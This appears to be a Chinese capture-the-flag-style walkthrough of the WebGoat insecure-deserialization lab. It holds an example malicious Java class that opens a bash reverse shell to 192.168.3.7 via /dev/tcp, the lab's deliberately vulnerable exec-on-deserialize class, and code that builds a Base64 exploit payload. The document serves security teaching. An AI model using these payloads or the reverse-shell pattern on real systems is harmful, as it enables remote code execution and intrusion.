WebGoat全通关:A8-Software-and-Data-Integrity

Insecure Deserialization #

(反)序列化技术有两种:

语言原生序列化,如 PHP 对象

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

跨语言序列化,如 Java 解析 XML 和 JSON

WebGoat 是用 Spring 写的所以这个实验为 Java 反序列化

最简单的 Java 反序列化:

ObjectInputStream.readObject 会主动调用 Serializable 对象本身的 readObject 方法

而如果这个类是我们可控的,就可以设置 readObject 方法为恶意方法

例如:

import java.io.*;

public class Fucker implements Serializable {

	private void readObject( ObjectInputStream stream ) throws Exception {
		// Need to call default procedures first
		stream.defaultReadObject();

		// Deliver the shellcode to JVM
		Runtime.getRuntime().exec("bash -i >&/dev/tcp/192.168.3.7/443 0>&1");
	}
}

现在序列化 Fucker

Fucker a = new Fucker();

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(a);
oos.flush();
byte[] exploit = bos.toByteArray();

在另一端(用 ByteArrayInputStream 模拟传输)

ByteArrayInputStream bis = new ByteArrayInputStream(exploit);
ObjectInputStream ois = new ObjectInputStream(bis);
Fucker b = (Fucker)ois.readObject();

显然,上述情况太理想化了

更一般的情况是:服务端确实有反序列化的代码,但只反序列化依赖中有的类的对象

或者说,服务端没有攻击者手搓类的字节码,无法进行反射

因此攻击者只能依靠服务端依赖中有的类

这并不代表反序列化不可利用:如果一个类在反序列化的过程中需要调用另一个类,而另一个类会调用第三个类,以此类推

而在这条调用链上的某个类是危险的(例如可以将 shellcode 作为构造函数参数)

那么反序列化依然存在利用可能

这有点类似于 ROP

一般来说,服务端的依赖越多,越容易出现危险的链条,但这样的链条并不好挖,需要花费很多时间审计 Java 代码

ysoserial 项目总结了大量研究者发掘的反序列化链

实验:反序列化执行 sleep 5 #

WebGoat 提供了一个演示类 VulnerableTaskHolder

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

        private static final long serialVersionUID = 2;

        private String taskName;
        private String taskAction;
        private LocalDateTime requestedExecutionTime;

        public VulnerableTaskHolder(String taskName, String taskAction) {
                super();
                this.taskName = taskName;
                this.taskAction = taskAction;
                this.requestedExecutionTime = LocalDateTime.now();
        }

        private void readObject( ObjectInputStream stream ) throws Exception {
        //deserialize data so taskName and taskAction are available
                stream.defaultReadObject();

                //blindly run some code. #code injection
                Runtime.getRuntime().exec(taskAction);
     }
}

在本地搭建 maven 项目 org.dummy.insecure.framework

App.java 写上

package org.dummy.insecure.framework;

import java.util.Base64;
import java.io.*;

public class App {
    public static void main(String[] args) {
        VulnerableTaskHolder job = new VulnerableTaskHolder("sleep 5 sec", "sleep 5");

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(job);
            oos.flush();
        } catch (IOException ioe) {
            ioe.printStackTrace();
        }
        byte[] exploit = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String b64exp = encoder.encodeToString(exploit);
        System.out.println(b64exp);
    }
}

mvn compile -f ./pom.xml

java -cp target/classes/ org.dummy.insecure.framework.App

得到 Base64 编码的字节码

触发之后可以看到网页五秒之后刷新并显示 ‘Congratulations’

可能会遇到的问题:

  • 网页上提供的代码中 serialVersionUID 为 1 而在最新的版本中它为 2
  • 如果创建 docker 容器的时候没有设置时区将会显示字节码创建时间不在十分钟之内从而被拒绝反序列化